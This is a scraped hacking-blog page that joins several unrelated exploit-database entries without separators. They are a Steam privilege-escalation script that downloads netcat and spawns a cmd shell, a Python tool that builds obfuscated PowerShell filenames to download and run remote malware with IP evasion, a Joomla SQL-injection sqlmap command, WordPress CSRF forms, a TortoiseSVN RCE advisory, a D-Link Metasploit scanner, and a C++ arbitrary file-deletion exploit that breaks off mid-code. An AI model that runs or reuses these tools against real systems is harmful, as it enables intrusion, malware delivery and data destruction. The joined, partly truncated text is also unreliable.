Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863593583

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

$SteamRegKey = "HKLM:\SOFTWARE\WOW6432Node\Valve\Steam\NSIS"
$MSIRegKey = "HKLM:\SYSTEM\CurrentControlSet\Services\msiserver" 
$RegDir = "C:\Windows\Temp\RegLN.exe"
$PayDir = "C:\Windows\Temp\payload.exe"
$Payload = "c:\windows\system32\cmd.exe /c c:\windows\temp\payload.exe 127.0.0.1 4444 -e cmd.exe"
$PayDownload = "https://raw.githubusercontent.com/AbsoZed/SteamPrivEsc/master/nc.exe"
$RegDownload = "https://raw.githubusercontent.com/AbsoZed/SteamPrivEsc/master/RegLN.exe"
$WebClient = New-Object System.Net.WebClient


If(!((Test-Path -Path $RegDir) -And (Test-Path -Path $PayDir)))
{
$WebClient.DownloadFile($PayDownload, $PayDir)
$WebClient.DownloadFile($RegDownload, $RegDir)
}

If(Get-ItemProperty -Path $SteamRegKey -Name ImagePath -ErrorAction SilentlyContinue)
{
Start-Service -DisplayName "Steam Client Service"
Set-ItemProperty -Path $MSIRegKey -Name "ImagePath" -Value $Payload
Start-Service -Name "msiserver"
}
Else
{
Remove-Item -Path $SteamRegKey -Recurse
Start-Process -FilePath $RegDir -ArgumentList "HKLM\Software\Wow6432Node\Valve\Steam\NSIS HKLM\SYSTEM\CurrentControlSet\Services\msiserver"
Start-Service -DisplayName "Steam Client Service"
Set-ItemProperty -Path $MSIRegKey -Name "ImagePath" -Value $Payload
Start-Service -Name "msiserver"
}
            
'''
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt
[+] ISR: Apparition Security          
 

[Vendor]
www.microsoft.com


[Product]
Windows PowerShell

Windows PowerShell is a Windows command-line shell designed especially for system administrators.
PowerShell includes an interactive prompt and a scripting environment that can be used independently or in combination.


[Vulnerability Type]
Unsanitized Filename Command Execution


[CVE Reference]
N/A


[Security Issue]
PowerShell can potentially execute arbitrary code when running specially named scripts due to trusting unsanitized filenames.
This occurs when ".ps1" files contain semicolons ";" or spaces as part of the filename, causing the execution of a different trojan file;
or the running of unexpected commands straight from the filename itself without the need for a second file.

For trojan files it doesn't need to be another PowerShell script and can be one of the following ".com, .exe, .bat, .cpl, .js, .vbs and .wsf.
Therefore, the vulnerably named file ".\Hello;World.ps1" will instead execute "hello.exe", if that script is invoked using the standard
Windows shell "cmd.exe" and "hello.exe" resides in the same directory as the vulnerably named script.

However, when such scripts are run from PowerShells shell and not "cmd.exe" the "&" (call operator) will block our exploit from working.

Still, if the has user enabled ".ps1" scripts to open with PowerShell as its default program, all it takes is double click the file to trigger 
the exploit and the "& call operator" will no longer save you. Also, if the user has not enabled PowerShell to open .ps1 scripts
as default; then running the script from cmd.exe like: c:\>powershell "\Hello;World.ps1" will also work without dropping into the PowerShell shell.

My PoC will download a remote executable save it to the victims machine and then execute it, and the PS files contents are irrelevant.
Also, note I use "%CD" to target the current working directory where the vicitm has initially opened it, after it calls "iwr" (invoke-webrequest)
abbreviated for space then it sleeps for 2 seconds and finally executes.

C:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'powershell iwr 192.168.1.10/n -O %CD%\n.exe ;sleep -s 2;start n.exe'"))

This can undermine the integrity of PowerShell as it potentially allows unexpected code execution; even when the scripts contents are visually reviewed.
We may also be able to bypass some endpoint protection or IDS systems that may look at the contents or header of a file but not its filename where are
commands can be stored.

For this to work the user must have enabled PowerShell as its default program when opening ".ps1" files.

First, we create a Base64 encoded filename for obfuscation; that will download and execute a remote executable named in this case "n.exe".
c:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'powershell iwr 192.168.1.10/n -O %CD%\n.exe ;sleep -s 2;start n.exe'"))

Give the PS script a normal begining name, then separate commands using ";" semicolon e.g.

Test;powershell -e <BASE64 ENCODED COMMANDS>;2.ps1

Create the executable without a file extension to save space for the filename then save it back using the -O parameter.
The "-e" is abbreviated for EncodedCommand to again save filename space.

Host the executable on web-server or just use python -m SimpleHTTPServer 80 or whatever.
Double click to open in PowerShell watch the file get downloaded saved and executed!

My example is used as a "filename embedded downloader", but obviously we can just call other secondary trojan files of various types in the same directory.

Note: User interaction is required, and obviously running any random PS script is dangerous... but hey we looked at the file content and it simply printed a string!


[Exploit / PoC]
'''

from base64 import b64encode
from base64 import b64decode
from socket import *
import argparse,sys,socket,struct,re

#GGPowerShell
#Microsoft Windows PowerShell - Unsantized Filename RCE Dirty File Creat0r.
#
#Original advisory:
#http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt
#
#Original PoC:
#https://www.youtube.com/watch?v=AH33RW9g8J4
#
#By John Page (aka hyp3rlinx)
#Apparition Security
#=========================
#Features added to the original advisory script:
#
#Original script may have issues with -O for save files with certain PS versions, so now uses -OutFile.
#
#Added: server port option (Base64 mode only)
#
#Added: -z Reverse String Command as an alternative to default Base64 encoding obfuscation.
#Example self reversing payload to save and execute a file "n.js" from 127.0.0.1 port 80 is only 66 bytes.
#
#$a='sj.n trats;sj.n eliFtuO- 1.0.0.721 rwi'[-1..-38]-join'';iex $a
#
#-z payload requires a forced malware download on server-side, defaults port 80 and expects an ip-address.
#
#Added: IP to Integer for extra evasion - e.g 127.0.0.1 = 2130706433
#
#Added: Prefix whitespace - attempt to hide the filename payload by push it to the end of the filename.
#
#Since we have space limit, malware names should try be 5 chars max e.g. 'a.exe' including the ext to make room for
#IP/Host/Port and whitespace especially when Base64 encoding, for reverse command string option we have more room to play.
#e.g. a.exe or n.js (1 char for the name plus 2 to 3 chars for ext plus the dot).
#
#All in the name of the dirty PS filename.
#=========================================

BANNER='''
   ________________                          _____ __   _____ __    __ 
  / ____/ ____/ __ \____ _      _____  _____/ ___// /_ |__  // /   / / 
 / / __/ / __/ /_/ / __ \ | /| / / _ \/ ___/\__ \/ __ \ /_ </ /   / /  
/ /_/ / /_/ / ____/ /_/ / |/ |/ /  __/ /   ___/ / / / /__/ / /___/ /___
\____/\____/_/    \____/|__/|__/\___/_/   /____/_/ /_/____/_____/_____/                                                                                                           
                                                                                                                
By hyp3rlinx
ApparitionSec
'''


FILENAME_PREFIX="Hello-World"
POWERSHELL_OBFUSCATED="poWeRshELl"
DEFAULT_PORT="80"
DEFAULT_BASE64_WSPACE_LEN=2
MAX_CHARS = 254
WARN_MSG="Options: register shorter domain name, try <ip-address> -i flag, force-download or omit whitespace."


def parse_args():
    parser.add_argument("-s", "--server", help="Server to download malware from.")
    parser.add_argument("-p", "--port", help="Malware server port, defaults 80.")
    parser.add_argument("-m", "--locf", help="Name for the Malware upon download.")
    parser.add_argument("-r", "--remf", nargs="?", help="Malware to download from the remote server.")
    parser.add_argument("-f", "--force_download", nargs="?", const="1", help="No malware name specified, malwares force downloaded from the server web-root, malware type must be known up front.")
    parser.add_argument("-z", "--rev_str_cmd", nargs="?", const="1", help="Reverse string command obfuscation Base64 alternative, ip-address and port 80 only, Malware must be force downloaded on the server-side, see -e.")
    parser.add_argument("-w", "--wspace",  help="Amount of whitespace to use for added obfuscation, Base64 is set for 2 bytes.")
    parser.add_argument("-i", "--ipevade", nargs="?", const="1", help="Use the integer value of the malware servers IP address for obfuscation/evasion.")
    parser.add_argument("-e", "--example", nargs="?", const="1", help="Show example use cases")
    return parser.parse_args()


#self reverse PS commands
def rev_str_command(args):
    malware=args.locf[::-1]
    revload=malware
    revload+=" trats;"
    revload+=malware
    revload+=" eliFtuO- "
    revload+=args.server[::-1]
    revload+=" rwi"

    payload = "$a='"
    payload+=malware
    payload+=" trats;"
    payload+=malware
    payload+=" eliFtuO- "
    payload+=args.server[::-1]
    payload+=" rwi'[-1..-"+str(len(revload))
    payload+="]-join '';iex $a"
    return payload


def ip2int(addr):
    return struct.unpack("!I", inet_aton(addr))[0]


def ip2hex(ip):
    x = ip.split('.')
    return '0x{:02X}{:02X}{:02X}{:02X}'.format(*map(int, x))


def obfuscate_ip(target):
    IPHex = ip2hex(target)
    return str(ip2int(IPHex))


def decodeB64(p):
    return b64decode(p)


def validIP(host):
    try:
        socket.inet_aton(host)
        return True
    except socket.error:
        return False
    

def filename_sz(space,cmds,mode):
    if mode==0:
         return len(FILENAME_PREFIX)+len(space)+ 1 +len(POWERSHELL_OBFUSCATED)+ 4 + len(cmds)+ len(";.ps1")
    else:
        return len(FILENAME_PREFIX) + len(space) + 1 + len(cmds) + len(";.ps1")


def check_filename_size(sz):
    if sz > MAX_CHARS:
        print "Filename is", sz, "chars of max allowed", MAX_CHARS
        print WARN_MSG
        return False
    return True


def create_file(payload, args):
    try:
        f=open(payload, "w")
        f.write("Write-Output 'Have a good night!'")
        f.close()
    except Exception as e:
        print "[!] File not created!"
        print WARN_MSG
        return False
    return True


def cmd_info(t,p):
    print "PAYLOAD: "+p
    if t==0:
        print "TYPE: Base64 encoded payload."
    else:
        print "TYPE: Self Reversing String Command (must force-download the malware server side)."



def main(args):

    global FILENAME_PREFIX
    
    if len(sys.argv)==1:
        parser.print_help(sys.stderr)
        sys.exit(1)

    if args.example:
        usage()
        exit()

    sz=0
    space=""
    b64payload=""
    reverse_string_cmd=""

    if not validIP(args.server):
        if not args.rev_str_cmd:
            if args.server.find("http://")==-1:
                args.server = "http://"+args.server

    if args.ipevade:
        args.server = args.server.replace("http://", "")
        if validIP(args.server):
            args.server = obfuscate_ip(args.server)
        else:
            print "[!] -i (IP evasion) requires a valid IP address, see Help -h."
            exit()

    if not args.locf:
        print "[!] Missing local malware save name -m flag see Help -h."
        exit()
        
    if not args.rev_str_cmd:

        if not args.remf and not args.force_download:
            print "[!] No remote malware specified, force downloading are we? use -f or -r flag, see Help -h."
            exit()

        if args.remf and args.force_download:
            print "[!] Multiple download options specified, use -r or -f exclusively, see Help -h."
            exit()

        if args.force_download:
            args.remf=""
            
        if args.remf:
            #remote file can be extension-less
            if not re.findall("^[~\w,a-zA-Z0-9]$", args.remf) and not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.remf):
                print "[!] Invalid remote malware name specified, see Help -h."
                exit()

            #local file extension is required
        if not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.locf):
            print "[!] Local malware name "+args.locf+" invalid, must contain no paths and have the correct extension."
            exit()
            
        if not args.port:
            args.port = DEFAULT_PORT
            
        if args.wspace:
            args.wspace = int(args.wspace)
            space="--IAA="*DEFAULT_BASE64_WSPACE_LEN
            if args.wspace != DEFAULT_BASE64_WSPACE_LEN:
                 print "[!] Ignoring", args.wspace, "whitespace amount, Base64 default is two bytes"
        
        filename_cmd = "powershell iwr "
        filename_cmd+=args.server
        filename_cmd+=":"
        filename_cmd+=args.port
        filename_cmd+="/"
        filename_cmd+=args.remf
        filename_cmd+=" -OutFile "
        filename_cmd+=args.locf
        filename_cmd+=" ;sleep -s 2;start "
        filename_cmd+=args.locf
                        
        b64payload = b64encode(filename_cmd.encode('UTF-16LE'))
        sz = filename_sz(space, b64payload, 0)

        FILENAME_PREFIX+=space
        FILENAME_PREFIX+=";"
        FILENAME_PREFIX+=POWERSHELL_OBFUSCATED
        FILENAME_PREFIX+=" -e "
        FILENAME_PREFIX+=b64payload
        FILENAME_PREFIX+=";.ps1"
        COMMANDS = FILENAME_PREFIX 
        
    else:

        if args.server.find("http://")!=-1:
            args.server = args.server.replace("http://","")

        if args.force_download:
             print "[!] Ignored -f as forced download is already required with -z flag."
        
        if args.wspace:
            space=" "*int(args.wspace)
            
        if args.remf:
            print "[!] Using both -z and -r flags is disallowed, see Help -h."
            exit()
            
        if args.port:
            print "[!] -z flag must use port 80 as its default, see Help -h."
            exit()

        if not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.locf):
            print "[!] Local Malware name invalid -m flag."
            exit()
            
        reverse_string_cmd = rev_str_command(args)
        sz = filename_sz(space, reverse_string_cmd, 1)

        FILENAME_PREFIX+=space
        FILENAME_PREFIX+=";"
        FILENAME_PREFIX+=reverse_string_cmd
        FILENAME_PREFIX+=";.ps1"
        COMMANDS=FILENAME_PREFIX

    if check_filename_size(sz):
        if create_file(COMMANDS,args):
            if not args.rev_str_cmd:
                cmd_info(0,decodeB64(b64payload))
            else:
                cmd_info(1,reverse_string_cmd)
            return sz
            
    return False
    

def usage():
    print "(-r) -s <domain-name.xxx> -p 5555 -m  g.js -r n.js -i -w 2"
    print "     Whitespace, IP evasion, download, save and exec malware via Base64 encoded payload.\n"
    print "     Download an save malware simply named '2' via port 80, rename to f.exe and execute."
    print "     -s <domain-name.xxx> -m  a.exe -r 2\n"
    print "(-f) -s <domain-name.xxx> -f -m  d.exe"
    print "     Expects force download from the servers web-root, malware type must be known upfront.\n"
    print "(-z) -s 192.168.1.10 -z -m q.cpl -w 150"
    print "     Reverse string PowerShell command alternative to Base64 obfuscation"
    print "     uses self reversing string of PS commands, malware type must be known upfront."
    print "     Defaults port 80, ip-address only and requires server-side forced download from web-root.\n"
    print "(-i) -s 192.168.1.10 -i -z -m ~.vbs -w 100"
    print "     Reverse string command with (-i) IP as integer value for evasion.\n"      
    print "     Base64 is the default command obfuscation encoding, unless -z flags specified."

if __name__=="__main__":

    print BANNER
    parser = argparse.ArgumentParser()
    sz = main(parse_args())
    
    if sz:
        print "DIRTY FILENAME SIZE: %s" % (sz) +"\n"
        print "PowerShell Unsantized Filename RCE file created."
'''
[POC Video URL]
https://www.youtube.com/watch?v=AH33RW9g8J4


[Network Access]
Remote


[Severity]
High


[Disclosure Timeline]
Vendor Notification: July 20, 2019
MSRC "does not meet the bar for security servicing" : July 23, 2019
August 1, 2019 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
'''

hyp3rlinx
            
#Exploit Title: Joomla! component com_jsjobs - 'customfields.php' SQL Injection
#Dork: inurl:"index.php?option=com_jsjobs"
#Date: 13.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/5/download/1
#Version: 1.2.5
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
Vulnerable code is in line 171 in file site/models/customfields.php

   169	    function dataForDepandantField( $val , $childfield){ 
   170	        $db = $this->getDBO();
   171	        $query = "SELECT userfieldparams,fieldtitle FROM `#__js_job_fieldsordering` WHERE field = '".$childfield."'";	//!!!
   172	        $db->setQuery($query);
   173	        $data = $db->loadObject();

#####################################
#PoC:
#####################################
$> sqlmap.py -u "http://localhost/index.php?option=com_jsjobs&task=customfields.datafordepandantfield&fvalue=0&child=0" --random-agent --dbms=mysql --method GET -p child --technique E
            
# Exploit Title: CSRF vulnerabilities in WordPress Download Manager Plugin 2.5
# Google Dork: inurl:"/wp-content/plugins/download-manager
# Date: 24 may, 2019
# Exploit Author: Princy Edward
# Exploit Author Blog : https://prinyedward.blogspot.com/
# Vendor Homepage: https://www.wpdownloadmanager.com/
# Software Link: https://wordpress.org/plugins/download-manager/
# Tested on: Apache/2.2.24 (CentOS)
POC 

#1 

There is no CSRF nonce check performed in "POST
/wp-admin/admin-ajax.php?action=wpdm_save_email_setting" request. 

#Code

<form method="POST"
action="http://localhost/wp-admin/admin-ajax.php?action=wpdm_save_email_setting">
<input type="hidden" name="__wpdm_email_template" value="default.html">
<input type="hidden" name="__wpdm_email_setting[logo]"
value="https://hacker.jpg">
<input type="hidden" name="__wpdm_email_setting[banner]"
value="https://hacker.jpg">
<input type="hidden" name="__wpdm_email_setting[footer_text]"
value="https://malicious-url.com"><input type="hidden" name="__wpdm_email_setting[facebook]"
value="https://malicious-url.com">
<input type="hidden" name="__wpdm_email_setting[twitter]" value="https://malicious-url.com">
<input type="hidden" name="__wpdm_email_setting[youtube]"
value="https://malicious-url.com">
<input type="submit">
</form>

#2

There is no CSRF nonce check performed in "POST
/wp-admin/edit.php?post_type=wpdmpro&page=templates&_type=email&task=EditEmailTemplat
e&id=default" request.

#Code

<form method="POST"
action="http://localhost/wp-admin/edit.php?post_type=wpdmpro&page=templates&_type=email&
task=EditEmailTemplate&id=default">
<input type="hidden" name="id" value="default">
<input type="hidden" name="email_template[subject]" value="forget password">
<input type="hidden" name="email_template[message]" value="aaa">
<input type="hidden" name="email_template[from_name]" value="hacker">
<input type="hidden" name="email_template[from_email]" value="hacker@hacker.com">
<input type="submit">
</form>
            
Document Title:
===============
TortoiseSVN v1.12.1 - Remote Code Execution Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2188

Product:
https://osdn.net/projects/tortoisesvn/storage/1.12.1/Application/TortoiseSVN-1.12.1.28628-x64-svn-1.12.2.msi/

Ticket: https://groups.google.com/forum/#!forum/tortoisesvn

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-14422

CVE-ID:
=======
CVE-2019-14422


Release Date:
=============
2019-08-13


Vulnerability Laboratory ID (VL-ID):
====================================
2188


Common Vulnerability Scoring System:
====================================
8.8


Vulnerability Class:
====================
Code Execution


Current Estimated Price:
========================
4.000€ - 5.000€


Product & Service Introduction:
===============================
TortoiseSVN is a really easy to use Revision control / version control /
source control software for Windows.
It is based on Apache Subversion (SVN); TortoiseSVN provides a nice and
easy user interface for Subversion.
It is developed under the GPL. Which means it is completely free for
anyone to use, including in a commercial
environment, without any restriction. The source code is also freely
available, so you can even develop your
own version if you wish to. Since it's not an integration for a specific
IDE like Visual Studio, Eclipse or
others, you can use it with whatever development tools you like, and
with any type of file.

(Copy of the about page: https://tortoisesvn.net/about.html )


Abstract Advisory Information:
==============================
A vulnerability laboratory researcher (vxrl team) discovered a remote
code execution vulnerability in the TortoiseSVN v1.12.1 software.


Vulnerability Disclosure Timeline:
==================================
2019-08-13: Public Disclosure (Vulnerability Laboratory)

Affected Product(s):
====================
TortoiseSVN
Product: TortoiseSVN - Software 1.12.1


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Pre auth - no privileges


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A remote code execution vulnerability has been uncovered in the official
TortoiseSVN v1.12.1 software.
The vulnerability typ allows remote attackers to execute arbitrary codes
to compromise a target computer system.

The URI handler of TortoiseSVN (Tsvncmd:) allows a customised diff
operation on Excel workbooks, which could be used to open remote
workbooks without protection from macro security settings to execute
arbitrary code.

The `tsvncmd:command:diff?path:[file1]?path2:[file2]` will execute a
customised diff on [file1] and [file2] based on the file extension.
For xls files, it will execute the script `diff-xls.js` using wscript,
which will open the two files for analysis without any macro
security warning. An attacker can exploit this by putting a macro virus
in a network drive, and force the victim to open the workbooks
and execute the macro inside. Since the macro is triggered through
wscript, to make the attack less visible, one could kill the wscript
process and quit the excel program after the code was executed.


Proof of Concept (PoC):
=======================
The vulnerability could be triggered by visiting a specially crafted URL
via web browser.
To reproduce the vulnerability, one could simply create a .url file or
open the URL with a browsers,
but a notification prompt may be shown for the latter case.

<a
href='tsvncmd:command:diff?path:VBoxSvrvv.xlsm?path2:VBoxSvrvw.xlsx'>Checkout
the Repo with TortoiseSVN</a>

where VBoxSvrv is the remote network drive controlled by the attacker,
v.xlsm is the macro virus and w.xlsx is just an empty excel workbook.

Sources: https://www.vulnerability-lab.com/resources/documents/2188.rar
Password: 23vxrl23

PoC: Video
https://www.youtube.com/watch?v=spvRSC377vI


Security Risk:
==============
The security risk of the remote code execution vulnerability in the
software component is estimated as high.


Credits & Authors:
==================
PingFanZettaKe [VXRL Team] -
https://www.vulnerability-lab.com/show.php?user=PingFanZettaKe


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com			
www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com
paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 		
youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'CVE-2019-13101 D-Link DIR-600M Incorrect Access Control',
      'Description'     => %q{
          This module attempts to find D-Link router DIR-600M which is
vulnerable to Incorrect Access Control. The vulnerability exists in
        wan.htm, which is accessible without authentication. This
vulnerabilty can lead an attacker to manipulate WAN settings.
        This module has been tested successfully on Firmware Version
3.01,3.02,3.03,3.04,3.05,3.06.
      },
      'Author'          => [ 'Devendra Singh Solanki <devendra0x0[at]gmail.com>' ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          'CVE', '2019-13101'
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 08 2019'))

    register_options(
      [
        Opt::RPORT(80)
      ])
  end

  def run_host(ip)
    res = send_request_cgi({'uri' => '/login.htm'})
    if res.nil? or res.code == 404
      print_error("#{rhost}:#{rport} - Host is down.")
      return
    end

    if res and res.code == 200 and res.body =~ /D-Link/
      print_good("#{rhost}:#{rport} - It is a D-Link router")
    else
      print_error("#{rhost}:#{rport} - Not a D-Link router")
      return
    end

    res = send_request_cgi({'uri' => '/wan.htm'})

    if res and res.code == 200 and res.body =~ /PPPoE/
      print_good("#{rhost}:#{rport} - Router is vulnerable for
Incorrect Access Control. CVE-2019-13101")
    else
      print_error("#{rhost}:#{rport} - Router is with different firmware.")
      return
    end

  end
end
            
/*
# Author : Abdelhamid Naceri
# Discovered On : 13/08/2019
# Description : An Elevation Of Privileges Exist when the microsoft AppXSvc
Deployment Service Cannot Properly Handle The Folder Junction lead to an arbitrary file deletion
from a low integrity user .
# Still Unpatched On 13/08/2019
Here Is A Demo Video https://youtu.be/jqYwMcNvTtM
*/
#include"windows.h"
#include"iostream"
#include"conio.h"
#include"stdio.h"
#include"tlhelp32.h"
#include"cstdio"
#include"wchar.h"
#include"process.h"
#include"wchar.h"
#include"string"
#include"tchar.h"

#pragma warning(disable : 4996)
#pragma comment(lib, "advapi32.lib")
#ifndef UNICODE  
typedef std::string String;
#else
typedef std::wstring String;
#endif

using namespace std;

bool FileExists(const wchar_t* file) {
	if (INVALID_FILE_ATTRIBUTES == GetFileAttributes(file) && GetLastError() == ERROR_FILE_NOT_FOUND)
	{
		return false;
	}
	else {
		return true;
	}
}

void remove_dir(const wchar_t* folder)
{
	std::wstring search_path = std::wstring(folder) + _T("/*.*");
	std::wstring s_p = std::wstring(folder) + _T("/");
	WIN32_FIND_DATA fd;
	HANDLE hFind = ::FindFirstFile(search_path.c_str(), &fd);
	if (hFind != INVALID_HANDLE_VALUE) {
		do {
			if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
				if (wcscmp(fd.cFileName, _T(".")) != 0 && wcscmp(fd.cFileName, _T("..")) != 0)
				{
					remove_dir((wchar_t*)(s_p + fd.cFileName).c_str());
				}
			}
			else {
				DeleteFile((s_p + fd.cFileName).c_str());
			}
		} while (::FindNextFile(hFind, &fd));
		::FindClose(hFind);
		_wrmdir(folder);
	}
}

void killProcessByName(const wchar_t* filename)
{
	HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
	PROCESSENTRY32 pEntry;
	pEntry.dwSize = sizeof(pEntry);
	BOOL hRes = Process32First(hSnapShot, &pEntry);
	while (hRes)
	{
		if (wcscmp(pEntry.szExeFile, filename) == 0)
		{
			HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
				(DWORD)pEntry.th32ProcessID);
			if (hProcess != NULL)
			{
				TerminateProcess(hProcess, 9);
				CloseHandle(hProcess);
			}
		}
		hRes = Process32Next(hSnapShot, &pEntry);
	}
	CloseHandle(hSnapShot);
}

bool IsProcessRunning(const wchar_t* processName)
{
	bool exists = false;
	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	if (Process32First(snapshot, &entry))
		while (Process32Next(snapshot, &entry))
			if (!_wcsicmp(entry.szExeFile, processName))
				exists = true;

	CloseHandle(snapshot);
	return exists;
}

bool dirExists(const std::string& dirName_in)
{
	DWORD ftyp = GetFileAttributesA(dirName_in.c_str());
	if (ftyp == INVALID_FILE_ATTRIBUTES)
		return false;

	if (ftyp & FILE_ATTRIBUTE_DIRECTORY)
		return true;

	return false;
}

void KillEdge()
{
	killProcessByName(L"MicrosoftEdge.exe");
}

void StartEdge() 
{
	try
	{
		system("start microsoft-edge:");
	}
	catch (...){}
}

void exploit(const char* path) {
	//Inintializing the variable before begining
	int attempt = 0;
	string command;
	wchar_t* userprofile = _wgetenv(L"USERPROFILE");
	const wchar_t* relpath = (L"\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe");
	//I created roaming path variable because sometime when i try to wipe ms-edge folder he deny the access so as a solution
	//I deleted him first
	const wchar_t* roamingpath = (L"\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\RoamingState");
	wstring froamingpath(userprofile);
	froamingpath += wstring(roamingpath);
	wstring fullpath(userprofile);
	fullpath += std::wstring(relpath);
	wchar_t* szBuffsrc = (wchar_t*)fullpath.c_str();
	wstring fpath(szBuffsrc);
	string strfpath(fpath.begin(), fpath.end());
	//Check If MS-Edge Need To Write DACL Or Not

	if (dirExists(strfpath) != true) { 
		printf("[!] Wait MS-Edge Need To Write The DACL");
		StartEdge();
		for (;;) {
			Sleep(1000);
			if (IsProcessRunning(L"MicrosoftEdge.exe") == true) { break; }
		}
		StartEdge();
		Sleep(7000);
		KillEdge();
		printf("\r                                      ");
	
	}

	//End Of Check
	printf("\r# Author : Abdelhamid Naceri\n");
	printf("# Tested On Windows 10 32&64bit\n");
	printf("# Description : A Vulnerabilitie Exist On Microsoft AppXSvc Deployement Service (\"wsappx\") Could Allow An Attacker To Arbitratry Delete Any File Exist On A Windows Machine\n");
	printf("[+] Checking If Path Exist ...");
	Sleep(2000);
	if (dirExists(path) != true) { 
		printf("Your Path Is Invalid"); 
		ExitProcess(EXIT_FAILURE); }
	else { 
		printf("Exist !\n");
		KillEdge();
		printf("[+] Starting MS-Edge ...\n");
		StartEdge();
		Sleep(4000);
		printf("[+] Killing MS-Edge ...\n");
		KillEdge();
		Sleep(3000);
		printf("[+] Wipping MS-Edge Directory ...\n");
		killProcessByName(L"dllhost.exe");//I Kill This Process Because Somethime He Lock The Files
		remove_dir(roamingpath);
		remove_dir(szBuffsrc);
		Sleep(2000);
		remove_dir(szBuffsrc);
		printf("[+] Checking If Directory Exist Anymore ...");
		if (dirExists(strfpath) == true) {
			
			if (dirExists(strfpath) == true) {
				printf("Something Went Wrong");
				printf("\n[!] You Should Delete The Files YourSelf Press Anything To Continue");
				command = "explorer ";
				command.append(strfpath);
				system(command.c_str());
				_getch();
				goto Continue;
			}
		}
		else {
Continue:
			printf(" Done\n");
			Sleep(3000);
			printf("[+] Attempting to Create Junction To Target ...\n");
			command = "mklink /J ";
			command.append("\"");
			command.append(strfpath);
			command.append("\"");
			command.append(" ");
			command.append("\"");
			command.append(path);
			command.append("\"");
			system(command.c_str());
			printf("Done\n");
			Sleep(3000);
			printf("[+] Firing Up MS-Edge Again ...\n");
			StartEdge();
			do { Sleep(1000);  } while (IsProcessRunning(L"MicrosoftEdge.exe"));
			Sleep(3000);
			StartEdge();
			command = "explorer ";
			command.append(path);
			printf("[!] If The Exploit Done , MS AppXSvc Will Wipe The Target Path\n");
			system(command.c_str());
			printf("[!] We Will Open Explorer In The Target Check Your Files If The File Deleted Press Anything To Clear The Exploit Files...\n");
			_getch();
			printf("Cleaning ...");
			_wremove(szBuffsrc);
			_wrmdir(szBuffsrc);
			ExitProcess(EXIT_SUCCESS);
		}
	}
}

int main(int argc, char* argv[]) {
	if (argc == 2) {exploit(argv[1]);}
	else { 
		printf("# Author : Abdelhamid Naceri\n");
		printf("# Tested On Windows 10 1903 32&64bit\n");
		printf("# Description : A Vulnerabilitie Exist On Microsoft AppXSvc Deployement Service (\"wsappx\") Could Allow An Attacker To Arbitratry Delete Any File Exist On A Windows Machine\n");
		printf("[!] Usage : poc.exe TargetPath");
	}
	return EXIT_SUCCESS;
